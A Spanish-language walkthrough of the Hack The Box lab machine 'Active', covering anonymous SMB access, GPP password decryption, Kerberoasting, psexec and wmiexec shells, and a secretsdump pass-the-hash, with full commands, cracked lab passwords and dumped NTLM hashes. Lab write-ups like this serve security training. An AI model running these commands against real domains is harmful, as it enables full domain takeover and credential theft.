El CTF “Active” se sitúa en un entorno Windows que simula un dominio de Active Directory, un tipo de infraestructura común en redes empresariales. A través de un análisis inicial de superficie (enumeración), se identifican varios servicios clave como SMB, Kerberos y LDAP. El primer vector de acceso se encuentra en la exposición de recursos compartidos, específicamente la carpeta “Replication”, la cual contiene archivos de políticas de grupo (Group Policy Preferences) accesibles de forma anónima. A partir de estos, se recupera un archivo Groups.xml con credenciales cifradas, las cuales pueden ser fácilmente desencriptadas gracias a una clave AES pública conocida, lo que facilita obtener una cuenta válida dentro del dominio.
Con estas credenciales, el siguiente paso implica realizar una enumeración más profunda, ahora autenticada, sobre los recursos compartidos y los usuarios del dominio. Utilizando herramientas como smbmap, ldapsearch y scripts de la suite Impacket, se puede consultar información sensible como flags de control de cuentas o la existencia de cuentas con Service Principal Names (SPN), que son esenciales para explotar un vector muy conocido en entornos Kerberos: el Kerberoasting. Este ataque permite solicitar y capturar tickets cifrados (TGS) que luego se crackean offline para revelar contraseñas de cuentas privilegiadas.
El acceso final al dominio se logra al crackear un hash Kerberos perteneciente a la cuenta de administrador, lo que habilita la ejecución remota de comandos con privilegios completos. Con herramientas como wmiexec.py, se establece una shell remota como Domain Admin, desde donde se puede acceder al archivo de recompensa final del reto. En conjunto, este CTF enseña técnicas prácticas de post-explotación en redes Windows, haciendo uso de vectores comunes como SMB misconfigurado, contraseñas embebidas en políticas de grupo y la debilidad del protocolo Kerberos frente al Kerberoasting.
-sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.
-sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n: No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
-v: Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultados:
PORT STATE SERVICE VERSION53/tcp open domain Microsoft DNS 6.1.7601(1DB15D39)(Windows Server 2008 R2 SP1)| dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601(1DB15D39)88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-2005:47:02Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)3269/tcp open tcpwrapped49152/tcp open msrpc Microsoft Windows RPC49153/tcp open msrpc Microsoft Windows RPC49154/tcp open msrpc Microsoft Windows RPC49155/tcp open msrpc Microsoft Windows RPC49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049158/tcp open msrpc Microsoft Windows RPC49165/tcp open msrpc Microsoft Windows RPCService Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windowsHost script results:| smb2-time: | date: 2025-04-20T05:47:59|_ start_date: 2025-04-20T05:45:02| smb2-security-mode: | 2:1:0: |_ Message signing enabled and required|_clock-skew: -8m44s
En síntesis, los puertos donde nos vamos a centrar:
Lo primero que vamos a hacer es agregar el dominio que nmap nos arrojó a nuestro archivo /etc/hosts para evitar problemas con el virtual host.
Lo segundo que haremos es sincronizar el horario del equipo kali con el del servidor, ya que nmap también nos detecto esa falla con el siguiente mensaje clock-skew: -8m44s:
Esto indica una diferencia de tiempo (desfase) entre el reloj del escáner (máquina kali) y el del servidor. En este caso, el reloj del servidor está adelantado 8 minutos y 44 segundos respecto al del kali. Esto puede ser relevante en ataques como Kerberoasting o Pass-the-Ticket, donde una desincronización importante puede invalidar tickets de autenticación basados en tiempo.
Unauthenticated enumeration
Empezamos por enumerar recursos con smbmap conectándonos sin credenciales
En este punto nos vamos a encontrar con el directorio Replication, y si exploramos su contenido vamos a encontrar el archivo Groups.xml que contiene información sensible sobre una cuenta de dominio (SVC_TGS) y su contraseña cifrada. Esta contraseña fue almacenada mediante un cifrado AES-256 que, si bien puede parecer seguro, utiliza una clave pública que fue publicada por Microsoft en su documentación. Esto permite que cualquier atacante con acceso de lectura al archivo pueda desencriptar la contraseña fácilmente con herramientas como gpp-decrypt. Esta exposición de credenciales es el reflejo de una mala configuración de los entornos que está relacionada con la GPP.
Group Policy Preferences (GPP): las GPP son una extensión de las Directivas de Grupo clásicas utilizadas en entornos de Active Directory, que permiten a los administradores configurar ajustes específicos en equipos unidos al dominio. Entre otras funcionalidades, permiten la creación de cuentas locales y la aplicación de configuraciones sin necesidad de scripting, utilizando archivos XML almacenados en el recurso compartido SYSVOL, el cual es accesible para todos los usuarios autenticados del dominio.
En este caso el recurso Replication resulta ser una copia del SYSVOL
Lo siguiente que hacemos es conectarnos al equipo objetivo con smbclient para buscar el archivo Groups.xml y descargarlo
Nota: si quieres aprender más sobre las GPP te recomiendo el siguiente artículo
gpp-decrypt: la herramienta gpp-decrypt se utiliza para descifrar contraseñas almacenadas en archivos XML generados por las Group Policy Preferences (GPP) en entornos de Active Directory.
Una vez que tenemos credenciales nuevas lo mejor es validarlas contra los servicios más comunes para encontrar el siguiente vector de ingreso. Para automatizar este proceso diseñe el siguiente script en bash que puedes encontrar en mi repositorio: service_validation.sh
Vemos que las credenciales funcionan para conectarnos al smb, entonces podemos volver a enumerar recursos smbmap y ver si encontramos algo nuevo:
Navegando por el directorio User con smbclient nos vamos a encontrar con la user flag
Otra forma de conectarnos al SMB especificando usuario y contraseña en la misma línea es de la siguiente forma:
Kerberosting con impacket-GetUserSPNs.py
Lo siguiente que vamos a implementar es un ataque Kerberoasting ya que también tenemos acceso al servicio LDAP. Si no estás familiarizado con este tipo de ataques te recomiendo que veas la siguiente sala de THM que resolví en este blog Attacking Kerberos, allí podrás ver en detalle cómo y porqué funciona este tipo de ataques. Pero básicamente vamos a enumerar cuentas de usuario en Active Directory que tengan configurado un Service Principal Name (SPN). Un Service Principal Name (SPN) es un identificador único que vincula una cuenta de servicio con una instancia específica de un servicio dentro de un dominio. Cuando un usuario tiene un SPN asignado, podemos solicitar un Ticket de Servicio (TGS) para ese SPN. El ticket estará cifrado con el hash NTLM de la cuenta de servicio. Si esa cuenta tiene privilegios elevados y una contraseña débil, podemos crackear el TGS offline y obtener acceso.
Para realizar el Kerberosting usaremos impacket-GetUserSPNs.py
📌Parámetros
active.htb/SVC_TGS:GPPstillStandingStrong2k18
Indica las credenciales usadas para autenticarse.
active.htb es el nombre del dominio,
SVC_TGS es el nombre del usuario,
GPPstillStandingStrong2k18 es la contraseña del usuario.
-dc-ip 10.10.10.100
Especifica la IP del Domain Controller con el que se va a comunicar la herramienta.
-request
Le indica a la herramienta que además de listar los usuarios con SPN, solicite sus tickets TGS, necesarios para Kerberoasting.
-outputfile spn.txt
Especifica que la salida con los hashes TGS obtenidos será guardada en un archivo llamado spn.txt, listo para usar con herramientas como hashcat.
--format=krb5tgs
Indica el tipo de hash que se va a crackear. En este caso, es un hash Kerberos TGS (Ticket Granting Service), lo que corresponde a un ataque de Kerberoasting.
-w=/usr/share/wordlists/rockyou.txt
Especifica el diccionario que se va a usar para el ataque. En este caso, es el archivo rockyou.txt, un diccionario común que contiene millones de contraseñas potenciales.
spn.txt
Es el archivo que contiene el hash Kerberos TGS extraído previamente con GetUserSPNs.py -request. Este es el hash que se intentará crackear.
Ahora que conseguimos otro par de credenciales nuevas podemos chequear cuales son los servicios a los que podemos acceder:
Remote Code Execution con Psexec
Para finalizar el CTF nos conectamos al equipo objetivo con impacket-psexecy buscamos las flags que nos faltan. Para comprender mejor el funcionamiento de esta herramienta te recomiendo que leas el siguiente artículo:
Otra forma de conectarnos con psexec especificando usuario y contraseña en la misma línea es con el siguiente comando:
Otra forma de localizar archivos específicos como flags, desde la raíz, es usando el comando dir file_name /s
Bonus: Pass the hash con impacket-secretsdump
¿Qué es un ataque Pass-the-Hash?
El ataque Pass-the-Hash permite autenticarse contra servicios de red (como SMB, WinRM, WMI, RDP) sin conocer la contraseña, usando directamente el hash NTLM del usuario como si fuera su credencial.
Esto sí se puede hacer si tenés el hash NTLM completo (no cifrado) de la cuenta. Para implementar este ataque usaremos impacket-secretsdump
📌Parámetros
active.htb/administrator:Ticketmaster1968
Credenciales válidas usadas para autenticarte en el dominio:
active.htb: nombre del dominio.
administrator: usuario con privilegios.
Ticketmaster1968: contraseña del usuario.
@10.10.10.100
IP del controlador de dominio o del sistema objetivo.
-just-dc-ntlm
Le indica a la herramienta que extraiga solamente los hashes NTLM de los usuarios del dominio (no secretos LSA, ni claves Kerberos, ni contraseñas en texto claro). Utiliza el método DRSUAPI sobre el controlador de dominio para acceder directamente a NTDS.DIT.
Ahora le pasamos el hash a impacket-psexec o impacket-wmiexec, no podemos usar EvilWinRM para este caso porque no está disponible el puerto de winrm
Localizando Groups.xml con impacket-Get-GPPPassword
Cuando un entorno es vulnerable a la exposición de contraseñas vía GPP, podemos usar impacket-Get-GPPPassword para buscar el fichero Groups.xml, pero se recomienda tener previamente credenciales de algún usuario
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Replication
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
Groups.xml A 533 Wed Jul 18 16:46:06 2018
5217023 blocks of size 4096. 283794 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# smbclient //10.10.10.100/Users -U SVC_TGS
Password for [WORKGROUP\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sat Jul 21 10:39:20 2018
.. DR 0 Sat Jul 21 10:39:20 2018
Administrator D 0 Mon Jul 16 06:14:21 2018
All Users DHSrn 0 Tue Jul 14 01:06:44 2009
Default DHR 0 Tue Jul 14 02:38:21 2009
Default User DHSrn 0 Tue Jul 14 01:06:44 2009
desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
Public DR 0 Tue Jul 14 00:57:55 2009
SVC_TGS D 0 Sat Jul 21 11:16:32 2018
5217023 blocks of size 4096. 278791 blocks available
smb: \> cd SVC_TGS
smb: \SVC_TGS\> dir
. D 0 Sat Jul 21 11:16:32 2018
.. D 0 Sat Jul 21 11:16:32 2018
Contacts D 0 Sat Jul 21 11:14:11 2018
Desktop D 0 Sat Jul 21 11:14:42 2018
Downloads D 0 Sat Jul 21 11:14:23 2018
Favorites D 0 Sat Jul 21 11:14:44 2018
Links D 0 Sat Jul 21 11:14:57 2018
My Documents D 0 Sat Jul 21 11:15:03 2018
My Music D 0 Sat Jul 21 11:15:32 2018
My Pictures D 0 Sat Jul 21 11:15:43 2018
My Videos D 0 Sat Jul 21 11:15:53 2018
Saved Games D 0 Sat Jul 21 11:16:12 2018
Searches D 0 Sat Jul 21 11:16:24 2018
5217023 blocks of size 4096. 278791 blocks available
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> dir
. D 0 Sat Jul 21 11:14:42 2018
.. D 0 Sat Jul 21 11:14:42 2018
user.txt AR 34 Sun Apr 20 01:46:16 2025
5217023 blocks of size 4096. 278791 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# john -w=/usr/share/wordlists/rockyou.txt spn.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:07 DONE (2025-04-25 21:26) 0.1351g/s 1423Kp/s 1423Kc/s 1423KC/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ./service_validation.sh active.htb Administrator 'Ticketmaster1968'
[*] Probando credenciales contra active.htb con usuario 'Administrator'...
--- Probando smb ---
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
--- Probando ldap ---
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
LDAP 10.10.10.100 389 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
--- Probando winrm ---
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.10.100 135 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb)
WMI 10.10.10.100 135 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
--- Probando ftp ---
--- Probando ssh ---
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-psexec administrator@active.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:Ticketmaster1968
[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file Euymqpmr.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service bYsy on active.htb.....
[*] Starting service bYsy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> cd ../../Users/Administrator/Desktop
C:\Users\Administrator\Desktop> type root.txt
ea10e3e******************
C:\> dir user.txt /s
Volume in drive C has no label.
Volume Serial Number is 15BB-D59C
Directory of C:\Users\SVC_TGS\Desktop
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
27/04/2025 07:52 �� 34 user.txt
1 File(s) 34 bytes
Total Files Listed:
1 File(s) 34 bytes
0 Dir(s) 1.163.612.160 bytes free
C:\> dir root.txt /s
Volume in drive C has no label.
Volume Serial Number is 15BB-D59C
Directory of C:\Users\Administrator\Desktop
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
27/04/2025 07:52 �� 34 root.txt
1 File(s) 34 bytes
Total Files Listed:
1 File(s) 34 bytes
0 Dir(s) 1.163.612.160 bytes free
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# impacket-secretsdump active.htb/administrator:Ticketmaster1968@10.10.10.100 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3a1d3c38140684ff4dad029f25b5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:449aa2e074193f0ed41457ff6d72fbf8:::
[*] Cleaning up...
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# impacket-wmiexec 'active.htb/Administrator@10.10.10.100' -hashes aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator
┌──(root㉿kali)-[/home/…/Documents/HTB/ACTIVE/active]
└─# impacket-psexec 'active.htb/Administrator@10.10.10.100' -hashes aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file oLgphjxu.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service YDIE on 10.10.10.100.....
[*] Starting service YDIE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system